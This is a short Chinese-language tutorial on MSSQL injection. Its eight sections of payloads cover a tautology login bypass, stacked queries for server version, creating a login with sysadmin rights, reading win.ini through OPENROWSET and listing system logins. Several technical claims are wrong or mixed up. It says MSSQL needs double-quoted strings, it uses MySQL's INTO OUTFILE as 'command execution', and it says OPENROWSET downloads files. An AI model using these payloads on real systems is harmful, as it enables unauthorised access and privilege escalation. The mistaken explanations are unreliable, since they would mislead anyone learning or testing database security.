一、mssql注入语句
mssql注入语句与常规的SQL注入语句略有不同。当我们使用单引号(')将输入的参数括起来时,将会出现语法错误。因此,我们需要使用双引号(")括起来。例如:
SELECT * FROM users WHERE name = "admin" AND password = "a' OR '1'='1"
这条语句将会返回所有用户名为admin并且密码符合该注入语句的用户。
二、mssql报错注入函数
mssql注入时,可以使用一些特殊的字符或者函数来触发服务器端的数据库错误,从而获取更多的信息。例如:
SELECT * FROM users WHERE id = xxx; SELECT @@version; SELECT @@servername;
通过以上例子,我们可以获得系统版本和服务器名等信息。
三、mssql注入执行命令
在mssql注入过程中,我们还可以执行系统命令。例如:
SELECT * FROM users INTO OUTFILE '/tmp/test.php';
这条语句将会将users表的数据导出到名为test.php的文件中。通过代码执行这个文件,可以得到完整的系统访问权限。
四、mssql注入使用存储扩展
用户可以在mssql数据库中创建存储过程(Stored Procedure)来完成复杂操作,也可以通过存储过程绕过常规的注入方法。例如:
EXEC sp_addlogin 'test', 'test';
EXEC sp_addsrvrolemember 'test', 'sysadmin';
通过执行以上代码,我们可以创建一个名为test的账户,并为它赋予sysadmin的权限,从而获得系统访问权限。
五、mssql注入sa权限
sa是mssql中最高权限的用户账户,拥有完全的数据库管理权限。当我们成功获得sa账户的权限时,我们就可以完全掌控数据库了。
SELECT * FROM users WHERE name = 'admin' AND password LIKE '%password%' AND IS_SRVROLEMEMBER('sysadmin') = 1
以上注入代码会返回sa账户信息。如果成功获取到sa账户权限,我们就可以执行所有权限指令。
六、mssql注入读文件
在mssql注入时,我们还可以通过查询公共文件来读取敏感数据。例如:
SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_BLOB) AS content;
以上代码将从win.ini文件中读取数据。
七、mssql注入下载文件
在mssql注入时,如果我们需要下载敏感文件,可以使用以下代码:
SELECT * FROM OPENROWSET(BULK 'file:///C:/Windows/win.ini', SINGLE_BLOB) AS content;
以上代码将win.ini文件下载到当前目录下。
八、mssql注入查看系统用户
在mssql注入时,我们可以通过以下代码来查看系统所有用户:
SELECT name FROM sys.syslogins;
以上代码将返回所有系统用户的用户名。